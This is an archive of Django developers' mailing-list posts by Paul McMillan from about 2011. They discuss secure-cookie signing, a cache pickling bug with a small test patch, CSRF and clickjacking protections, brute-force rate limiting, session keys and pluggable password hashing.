To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: RFC: #12417 - Support for signing (including secure cookies)

[Paul McMillan]

> int(time.time()) == 1305761382
> base62.encode(1305761382) == '1QMqBS'
> base62.encode(1305761382) == 'KgwVC'

Oops! meant to say

base62.encode(305761382) == 'KgwVC'

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: RFC: #12417 - Support for signing (including secure cookies)

[Paul McMillan]

>> Baseconv is a clever bit of work. It should probably be using our full
>> base64 charset. We could also shave some digits in the time-limited
>> output there by subtracting from a more recent fixed value than the
>> unix epoch, the way the password reset token code does.
>
> The TimeStampSigner requires the seconds to correct determine whether the
> signature is still valid, so I'm not sure if that's a good idea. If you
> have an idea to have both thing, I'd appreciate any help.

If we subtract 1e9 from our timestamp, we get a 5 digit timestamp
rather than 6 for the next 19 years. If we add - and _ to our allowed
characterset, we extend that to 24 years.

int(time.time()) == 1305761382
base62.encode(1305761382) == '1QMqBS'
base62.encode(1305761382) == 'KgwVC'

Shaving 1 character seems like an overoptimization, except that we're
talking about storing values in cookies, where space is already very
limited.

I'll see if I can find you on IRC to discuss the salting.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: RFC: #12417 - Support for signing (including secure cookies)

[Paul McMillan]

Also, regarding the note about not echoing back the expected value
even during debug (line 156 of signing.py):

Do it the same way as it is with the auth tokens, compute the expected
value inline without assigning it to a variable.

http://code.djangoproject.com/browser/django/trunk/django/contrib/auth/tokens.py#L34

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: RFC: #12417 - Support for signing (including secure cookies)

[Paul McMillan]

> Yeah, SHA256 and SHA512 have the downsides of being rather long for
> the type of application the signatures are going to be used for,
> e.g. one-time URLs.

That's fair. SHA1 is moving towards broken, but HMAC currently covers
that gap. Shorter is certainly a feature we want here.

> If I read the draft spec correctly it's basically the same algorithm
> as used in the current patch but SHA256 instead of SHA1. [1]

Yeah. Unfortunately JWS packages a fair bit of data which is not
strictly necessary (encryption protocol, etc.). In the interest of
letting users put as much data as possible in cookies, we probably
want to avoid that.

Baseconv is a clever bit of work. It should probably be using our full
base64 charset. We could also shave some digits in the time-limited
output there by subtracting from a more recent fixed value than the
unix epoch, the way the password reset token code does.

I'm not entirely happy with the way the salting works (or perhaps I've
misunderstood it). It seems more appropriate to generate the salt (let
the user specify the length) and store it with the string, the same
way you do salted passwords. The way the interface is currently
written, nobody will ever use a salt, or they'll try to use a static
string as a salt (the existing docs get it wrong in exactly this way),
which largely defeats the purpose. It would make more sense to be able
to say "I want salt" the way you say "I want a timestamp".

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: RFC: #12417 - Support for signing (including secure cookies)

[Paul McMillan]

I'd also like to review this in depth before it gets committed, but
won't have a chance to do that for a day or two.

I agree with Luke re: salted hmac.

A couple of initial thoughts:

Since we aren't supporting Python 2.4 anymore, we have access to
hashlib. We should use  SHA256 or 512.

Since these functions are for signing JSON objects, let's use the
existing format which is on the standards track - JSON Web Signature
(JWS)[1] for signing (and in the future, JWE for encryption). They
(along with JWT, the token format) are part of OAuth2.0, but are
getting standardized separately so they get done sooner.

It's mostly a formatting change to produce output that is compatible.
I'll be happy to write the change it if nobody complains about the
idea.

I like the idea of using a standard for this. I REALLY like the idea
that other people have been reviewing this standard with cryptographic
security in mind.

-Paul

[1] http://tools.ietf.org/html/draft-jones-json-web-signature


On Wed, May 11, 2011 at 4:05 PM, Luke Plant  wrote:
> On 11/05/11 20:20, Jannis Leidel wrote:
>> Hi all,
>>
>> This is in continuation to Simon's previous efforts about adding tools
>> for easy signing, including secure cookies ([1], [2]).
>>
>> Stephan (who is working on #9200 [3] -- improving the wizard in
>> contrib.formtools) and me just updated the patch attached to ticket
>> #12417 [4] with the recommended changes according to the mailing list
>> threads and the Trac ticket:
>>
>>   http://code.djangoproject.com/attachment/ticket/12417/ticket12417-v4.diff
>>
>> The complete changes (as noted) are:
>>
>> - Moved from django.utils.signed to django.core.signing
>> - Removed the seperator argument to the Signer.sign and Signer.unsign
>>   methods and moved it to a class attribute
>> - Added key prefix ('django.http.cookies') to Signer instantiation
>> - Changed key ordering from `"signer" + key + salt` to `salt + "signer" + 
>> key`
>>   to lower the chance for brute force attacks
>> - PEP8 and other style changes
>> - Use constant_time_compare from django.utils.crypto for timing attack
>>   proof signature verification
>> - Updated and fixed docs
>> - Changed setting name from COOKIE_SIGNER_BACKEND to SIGNING_BACKEND
>>
>> We'd appreciate any further comments before I commit this patch, given
>> the formtools wizard being dependent on it for its cookie storage backend.
>
> We already have one way of using hmac with unique keys for each
> application - django.utils.crypto.salted_hmac. I looked at the code, and
> can't see any reason we couldn't make Signer use that code path, rather
> than having two very similar code paths. I see no reason for the new
> code to directly use either settings.SECRET_KEY or hmac even once, and
> doing so makes our code much harder to audit for security problems -
> every place where we use SECRET_KEY or hmac directly is a place we have
> to worry about.
>
> Currently we have 4 uses of SECRET_KEY (one of them is in a deprecated
> code path), and 1 use of hmac.new.
>
> So I feel quite strongly that we should fix this code to use
> salted_hmac. (Or fix salted_hmac if there is some problem with it, but
> remembering that there is lots of data that depends on it).
>
> I haven't had time to further review, but thought I'd get that out
> straight away.
>
> Regards,
>
> Luke
>
> --
> Parenthetical remarks (however relevant) are unnecessary
>
> Luke Plant || http://lukeplant.me.uk/
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: RFC: new backports policy

[Paul McMillan]

+1, I agree with Carl and Luke. The issue here is that for
non-showstopper bugs, users have probably found (or may even be
relying on!) the existing behavior. Keeping the "stable" branch more
stable by only changing things when there's a serious issue seems to
be a positive improvement.

I think this point means that even community supplied patches to minor
issues probably don't belong in the stable release. It's easy enough
to maintain a patched local version for your own particular itches.
Better stability and fewer regressions from patches related to minor
issues seems like a fair tradeoff.

I am in favor of a more open policy regarding backporting docs fixes.
We expect users to be developing using the stable docs, and if we have
identified a deficiency there, we should fix it so that they will
benefit before the next major release.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Is using version 2 of the pickle protocol in {DB,FileBased}Cache

[Paul McMillan]

Thanks for filing the bug.

It's probably best to discuss higher-level stuff on the mailing list,
and details of the ticket on the ticket. That said, there's a lot of
overlap.

While setting pickle to use a lower protocol would "fix" the problem,
it's really only a bandaid. Lower versions of the pickle protocol are
badly inefficient with new-style classes, and should be avoided at all
costs. We really just need to stop trying to pickle a class that is
unpicklable.

The appropriate fix for this probably lies in serializing the
SimpleCookie object back into a string (that's what cookies are
anyway, right?) before we pass it to pickle. I haven't looked closely
at the code there, but that's where I would start.

As for the test, you probably want to test it more holistically -
maybe a test that fetches a page in the test client several times in a
row and makes sure that it is the same each time.

Further discussion should probably happen on the ticket.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Is using version 2 of the pickle protocol in {DB,FileBased}Cache

[Paul McMillan]

Ah, this does sound like a pretty nasty issue with our code then.
Unfortunately, the test suite doesn't get run as often as it should
with the various cache backends enabled, and I imagine that may be how
this cropped up. There have been a number of similar bugs in the past
- caching is hard! I'd appreciate it if you could open a ticket for
this and reference the mailing list discussion. If you could set the
owner to me (PaulM), I'll work on it when I get a chance. Thanks for
taking the time to track down how this is happening.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Is using version 2 of the pickle protocol in {DB,FileBased}Cache

[Paul McMillan]

Hi Raphael,

Yes, SimpleCookie is known to be an unpickleable class. We shouldn't
be directly pickling it anywhere in Django. In your code, you should
probably turn the cookie into a string before caching it. I'm not
clear if the bug you're experiencing is happening in Django's code or
something your application is doing directly with SimpleCookie.

The last memcached backend I looked at pickled things using the
highest protocol. I don't remember which one it was. It's very odd
that you're not seeing the same error using memcached.

Locmem should use the highest version of pickle, to more closely
mirror the behavior of memcached. I'll open a ticket about that.
Django shouldn't switch to the earlier versions of pickle for
performance reasons.

I think that your provided test case is trying to do something that is
explicitly not supported, but I'm unclear on whether or not there is
an issue in Django-provided code. Could you provide a little more
information?

Thanks,
-Paul

On Fri, Apr 15, 2011 at 1:23 PM, Raphael Kubo da Costa
 wrote:
> Hello there,
>
> I was experiencing some problems with Django's caching system on 1.2.X
> (1.2.5, to be more specific) when using either the database or the
> file-based backends.
>
> Both use pickle and call pickle.dumps(..., pickle.HIGHEST_PROTOCOL) when
> serializing the data after being called by UpdateCacheMiddleware.
>
> However, it looks like pickle does not play nice with SimpleCookie-based
> classes [1]. In the first request (still not cached), the csrf token is
> set correctly as follows:
>
>  Set-Cookie:  csrftoken=XX; Max-Age=31449600; Path=/
>
> When the same view is requested again, though, the cookie is retrieved
> incorrectly from the cache by FetchFromCacheMiddleware:
>
>  Set-Cookie:  csrftoken="Set-Cookie: csrftoken=XX Max-Age=31449600\073 Path=/"
>
> The locmem, dummy and memcached backends do not present this problem:
> locmem does not specify the protocol version when calling pickle.dumps,
> which means protocol version 0 will be used; dummy does not do anything
> and memcached does not use pickle. Pickle protocol versions 0 and 1 work
> fine.
>
> The following patch to the unit tests should break both
> FileBasedCacheTests and DBCacheTests. I only tested it against the 1.2.X
> git branch, but 1.3.X should present the same behaviour, and both Python
> 2.7.1 and Python 3.2 fail.
>
> diff --git a/tests/regressiontests/cache/tests.py 
> b/tests/regressiontests/cache/tests.py
> index 0581e4e..5611eef 100644
> --- a/tests/regressiontests/cache/tests.py
> +++ b/tests/regressiontests/cache/tests.py
> @@ -285,6 +285,22 @@ class BaseCacheTests(object):
>         self.assertEqual(self.cache.get("expire2"), "newvalue")
>         self.assertEqual(self.cache.has_key("expire3"), False)
>
> +    def test_cookie_caching(self):
> +        try:
> +            from Cookie import SimpleCookie
> +        except ImportError:
> +            from http.cookies import SimpleCookie
> +
> +        test_cookie = SimpleCookie()
> +        test_cookie['key'] = 'some value'
> +
> +        self.cache.set('some_cookie', test_cookie)
> +
> +        cached_cookie = self.cache.get('some_cookie')
> +
> +        self.assertEqual(cached_cookie['key'].value,
> +                         test_cookie['key'].value)
> +
>     def test_unicode(self):
>         # Unicode values can be cached
>         stuff = {
>
> [1] http://bugs.python.org/issue826897
>
> --
> Raphael Kubo da Costa
> ProFUSION embedded systems
> http://profusion.mobi
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-developers@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Proposal: remove compatibility for old signing functions

[Paul McMillan]

I agree with the others. This is very much the correct step going
forward. These fallback methods have worried me, and definitely weaken
the security of the improvements.

One idea I had been kicking around was some way to tell Django what
version of these things to expect, and disable the fallbacks for
anything older. Brand new projects don't need the fallbacks. This
might be overly complex, however.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Django 1.3: running test suit

[Paul McMillan]

We can't help you if you don't tell us a bit more about your system.
What version of Python? What OS? Is there anything else unusual about
your system or how you are running the tests?

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: secret key from file...

[Paul McMillan]

I would be in support of a manage.py command to change the secret key,
just as a convenience. I'd be happy to implement it.

Matthew Roy said:
> If I understand
> how it works the compromise of the SECRET_KEY alone doesn't put you in
> serious hot water unless the attacker can also intercept traffic.

The SECRET_KEY is secret for a number of very good reasons, and
compromise of it is quite likely to lead to compromise of your
application if the attacker is sufficiently motivated.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: State of X-Sendfile support?

[Paul McMillan]

It's worth pointing out that manage.py runserver isn't likely to ever
support serving those files even if the header arrives in core. It's
explicitly not appropriate for any kind of production use, fallback or
otherwise. If you really need support for your development work (and
checking the headers on the response isn't good enough), you should be
developing in an environment closer to your production server.

I would be very much -1 to any proposal to include code that actually
served the file in django core if the webserver doesn't support
X-Sendfile.

That said, I'd very much like to see support for the header in core.
It's commonly used, and reimplementing it every time is silly.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: CsrfViewMiddleware and HTTPS

[Paul McMillan]

This check prevents a MITM from injecting an HTTP based form/csrf
token pair along with javascript to auto-submit it to an HTTPS target.
Any HTTP request is vulnerable to all kinds of  MITM and there's
nothing we can do about it, but an HTTPS-based request should be as
secure as possible even with a MITM.

This protection discourages our users from building HTTP forms that
post to HTTPS targets, a practice that essentially invalidates most of
the browser-based security UI. SSLStrip is a very real threat.

As for issue #2, of course it's possible to send anything you like as
an attacker (including making up a referer header). This is about
protecting non-malicious users. A malicious MITM shouldn't be able to
modify an SSL request on the wire to change that header, since
everything except the destination IP address is encrypted.

There has been previous discussion of this issue:
http://groups.google.com/group/django-developers/browse_thread/thread/d16647e84d2b39ea

http://groups.google.com/group/django-developers/browse_thread/thread/22058adaf11e3ed6

and it is commented on in the code:
http://code.djangoproject.com/browser/django/trunk/django/middleware/csrf.py#L139

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Ticket 14261 - add basic clickjacking protection to Django

[Paul McMillan]

I agree that Django should include this functionality in core. The
header is a very useful way to discourage click-jacking in modern
browsers.

However, I also agree with Ryan N that this should be off by default.
If it must be on, it should use SAMEORIGIN (as the patch currently
provides) to avoid breaking existing sites.

For better or worse, frames are an integral part of the web today.
Taking a stance as an entire framework that by default, content should
not be framed, is a _very bad_ choice. Many sites use Django to build
open data platforms, and many of the interesting sites on the web
today function as mashups of other site content (often by framing it,
often without an explicit "go-ahead" by the framed site). If we force
every site creator to explicitly enable the ability to be framed, we
are directly creating a closed, less dynamic, less interesting
internet.

I would prefer an approach that was more selective. In particular,
this header (usually) only makes sense in the context of a page which
contains a form. If we must enable it by default, we should limit it
to those pages.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Wrong error message when user having is_staff=False tries to login to admin

[Paul McMillan]

It's too late for an easy string change, but I think the fix for this
problem should probably be to append something to the effect of "or
you don't have permission to log in here." to that message.

If an attacker is brute forcing logins, providing a nondescript error
message here makes life harder.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Brute force attacks

[Paul McMillan]

I go back and forth on this issue. Unlike CSRF, there's never going to
be a one size fits all solution for this type of problem. Different
organizations have widely varying requirements, and while I prefer
rate limits, that won't satisfy the auditor whose checklist requires
permanent lockout after X attempts.

That said, Django's current approach of "figure something out
yourself" means that most installs don't get any work in this realm.
We can't defend against every attack scenario, but if we can improve
the most common areas, it will be a substantial gain.

I'm quite interested in working to get better protection into core. I
agree with Rohit that throttling/rate-limiting is going to be where
Django finds a good balance between intrusiveness and security. In
larger systems, this task is often taken care of by the firewall in a
generic one-size-fits-all fashion, but if Django is doing the
limiting, we can provide more specific protection, especially for
users who don't have fine-grained control over their firewall.

If we build a rate limiter into core, it will encourage users to make
use of it in their own projects. It will also allow us to rate limit
other areas of core to improve security - passwords are far from the
only thing susceptible to brute force, and the same framework may be
useful to prevent or discourage DoS.

We need to be careful to provide permissive defaults. Leave the knobs
exposed for organizations which require draconian measures, but for
the average user, convenience trumps security.

At the expense of creating more work, I think that we need to agree on
several facets of the problem before we go writing code:

1) Which attack scenarios do we protect against?

A single machine high-rate attack? A high-rate distributed attack? A
slow distributed attack?

The first of these is the most likely attack - it's easy to implement,
and doesn't require extensive resources or patience. Defenses against
it will also apply (to a lesser extent) in the case of a high-rate
distributed attack. Measures like locking accounts after a number of
login failures prevent the slow attack, but they inconvenience users
and open a very nasty avenue for DoS. I don't know of measures Django
could take which would provide an acceptable balance between
completely preventing this attack and avoiding inconveniencing users.

2) How do we balance protection against DoS concerns?

Since Django installations are usually public-facing, Denial of
Service issues are often a larger concern than brute force attacks
(the entire site being unavailable vs. some number of compromised user
accounts) I strongly oppose the addition of any code which makes
Django significantly more vulnerable to DoS out of the box, even if it
does improve security.

3) What is the appropriate response to an attacker?

Lock the account? Deny access to the whole application? For how long?
Log the attack? At what threshold? We rapidly get into areas that are
in the domain of a full-blown Intrusion Detection System. I think that
Django needs a very minimal set of features in this realm. Log the
attack when over a certain threshold (and log verbosity), block the IP
for a limited period of time, and move on.


In light of these issues, I think that the appropriate solution for
core will be:

* lightweight - we can't compromise performance here. The solution
should be memory-based, and should not write to the database or disk
in most cases. I'm perfectly fine with requiring caching to be enabled
to get protection.

* generic - we should be rate limiting other areas of core, and it
makes sense to provide a way for developers to easily limit their own
applications.

* limited in scope - Django includes many batteries, but it shouldn't
include a full-blown IDS. Throttling and logging for events
significantly outside the norm are enough protection. Anything more
complex becomes application specific.

* pluggable - we can't be all things for all people. We need to design
an interface that is flexible enough to allow people to implement
their own particular set of rules. We do this already in other areas:
databases, caching, sessions, etc. If we can provide a good generic
interface for this, we can include other backends with different
behaviors as they evolve in the community.

So, the tl;dr is that Django needs to include a simple rate limiting
component that is trivial to enable to discourage many brute-force
attacks. I'd like to help make this happen.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Storing language in session/cookie

[Paul McMillan]

I'm not familiar with that subsystem, but if what you say is correct,
you should open a ticket. That sounds like a definite issue to me.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: The XMLField ticket

[Paul McMillan]

I've attached a patch per the discussion here. It's ready for review
and hopefully a speedy commit.

http://code.djangoproject.com/ticket/3094#comment:19

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Trac components cleanup

[Paul McMillan]

>> * The "Contrib apps" component [1] should be made redundant and new
>> components for each missing contrib app (e.g. contenttypes, sitemaps)
>> should be added. I mean, even databrowse has its own component! :) The
>> "Contrib app" mixes lots of unrelated things, making it a bit
>> pointless.
>> * For consistency, the "Authentication" component should be renamed to
>> django.contrib.auth, and "RSS framework" to
>> django.contrib.syndication.

I'm also +1 on those two.

> However, "core" is clearly being misused (or at least misunderstood).
> I'm open to suggestions (driven by the data) as to what extra
> categories we should add and/or how we should rename core. There are
> 169 open tickets attributed to "core" -- care to make some
> suggestions?

Core tends to end up as a dumping ground for people who haven't
carefully read the (admittedly already long) list of categories. It's
near the top, and so it's easy to choose over other more appropriate
categories. Consolidating some of the redundant categories might help.

I think the django-admin.py categories could be consolidated into a single one.

In the interest of readability, we might rename django.contrib.foo to
simply contrib.foo.

As long as we're clarifying, "Django Web Site" might be better named
"DjangoProject Web Site".

Those later two probably aren't worth doing unless Trac provides an
easy rename functionality.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: A word about CSRF Protection and AJAX

[Paul McMillan]

I'll chime in as opposed to forcing the cookie where not strictly
necessary. It makes caching harder, and means that many of the dumber
caching systems out there won't cache it at all (some mobile
operators, smaller ISPs in lower GDP countries, etc.). Pushing the
cookie to make AJAX easier seems especially silly if the site doesn't
use AJAX at all.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: "needsinfo": resolution vs. triage stage

[Paul McMillan]

I'm also +1 for the close resolution. Fewer open tickets is a good thing!

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

The XMLField ticket

[Paul McMillan]

Ticket #3094 needs a decision.
http://code.djangoproject.com/ticket/3094#comment:17

The quick summary:

Once upon a time the XMLField accepted a schema and validated
documents against that. This hasn't been true since oldforms, yet the
documentation continues to proclaim this. Now, XMLField is basically a
TextField that takes an extra path argument. It's useless, and doesn't
validate anything.

We need to either deprecate it, provide some validation, or fix the
docs to say it doesn't do anything. We can't fix the docs till we have
a decision on this ticket.

Please weight in here or on the ticket. I'll write the patch for
whatever gets chosen.

Thanks,
-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Multiple email connections

[Paul McMillan]

I agree that this makes a lot of sense for 1.4.

Probably the most common use case is going to be separating classes of
emails (mass-mails (mailchimp or constant contact), transactional
(amazon ses or your provider's mailserver), backend admin
notifications (server sendmail or local mail spool), etc). These are
going to be fairly easy to use by simply identifying them in the code,
and don't need automated routing.

If we were going to include some amount of automation, I would like to
see configurable failovers (though this might add too much complexity
to the settings). Additionally, the ability to distribute outgoing
mail to a given backend over several servers would be quite nice and
relatively trivial to implement. Weighted distribution over those
servers would be similarly trivial, but might be outside the
featureset Django wants to support. Actual quotas are clearly beyond
the scope.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Design design needed: #14093 - Unable to create a new session key on higher traffic

[Paul McMillan]

Sorry, I stuffed up some of the numbers.

MD5 is 128 bits equivalent value. UUID4 is 113. A table with enough
content to cause collisions for 10k input values would probably be in
the exabyte range, but the point still stands. Cache timeouts are
causing this problem.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Design design needed: #14093 - Unable to create a new session key on higher traffic

[Paul McMillan]

Do we absolutely have proof that the original problem is caused for
sure by session key collisions? The assertion here is that we're
generating 1 md5s and that NONE of those is unique and so the
function is timing out.

This is preposterous.

If this were actually the case, I could generate my own 10,000 md5s
and log into each of those users sessions as an attacker. Sessions
expire in 15 days. MD5 provides a reasonable distribution across the
namespace. If you've generated 10k md5s and NONE of them is unique,
you've got the md5 namespace pretty well covered (or you're using
really bad random input data, which we are not), meaning your session
key database has (conservatively) more than 10^20 petabytes of data.

Right.

The alternative explanation is that the cache backend is timing out.
The 10k loop fix basically masked that issue by trying a bunch of
times till it got a response. The fix for this issue is going to lie
in improving behavior when the cache doesn't respond properly, not in
fixing the key collision problem.

Additionally, UUID4's are only very probably unique. You are proposing
to move to a 103 bit random value (after excluding the fixed bits)
instead of the existing 512 bit value.

I predict that a patch which removes the 10k loop will make the
problem worse, with or without UUIDs.

Sorry to be blunt, but lets tackle the real problem here, rather than
making things harder for ourselves.

Best,
-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Pluggable encryption for django auth (design proposal)

[Paul McMillan]

I'm not going to get into the arguments about security of the various
hashing methods, other than to observe that there have been some
fairly misleading statements here.

As far as the proposal goes, I think this is a perfectly reasonable
feature request (and you should open a ticket about it if one does not
already exist).

I'd favor a solution where your setting mapped the algo name to the
actual function used:

PASSWORD_HASH_FUNCTIONS = { 'bcrypt':
myproject.myapp.bcrypt_hexdigest, 'sha1':
django.utils.hashcompat.sha_constructor, etc.}

Then we could put the existing hash functions (sha1, md5, etc.) in
that setting as the default, and get rid of the algo-checking code
that currently lives in auth.models. When we do a password comparison,
we simply pull the hash name, lookup the function, and away we go.

I don't think this will make it into 1.3, but it's a reasonable thing
to do and I think it would help improve all the special-case code that
currently lives in auth.models. The patch itself wouldn't be too hard,
and I'd be willing to write it myself if nobody else will.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Should CSRF Middleware return 403 or 500 error from AJAX call?

[Paul McMillan]

In a case like that, I would expect the response code to be the same
in both states of the Debug flag. Sounds like a bug to me, I would
expect the debug to throw a 500 in the described case. Please go ahead
and open a ticket.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Receipt for mail to security@ ?

[Paul McMillan]

> I'd argue that an autoresponder is almost exactly what we *don't*
> need. An autoreponder can give the illusion of that a message has been
> received when it's really just a robot going through the motions. The
> worst possible situation would be an autoreponse message that says
> "We're looking into it" when the message has actually fallen into the
> bit bucket.

That makes sense. I was thinking an autoresponder along the lines of
"Your message got to our servers and wasn't marked as spam, but a real
person hasn't looked at it yet. We try to respond to all messages with
X days, if you haven't heard from us by then, please do Y."

Something like that would bridge the gap between "we got your message"
and "we've been able to replicate the issue and have some idea for a
fix".

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: GeoDjango and Postgresql

[Paul McMillan]

It doesn't sound like there's a lot of enthusiasm for maintaining the
windows binary installer. Might it make sense to write out a set of
manual installation instructions and scratch the windows installer? It
looks like we're copying a few files and adding some things to the
system path - nothing that a user can't do if they can get regular
Django installed. Instructions are a lot easier to maintain than a
binary installer.

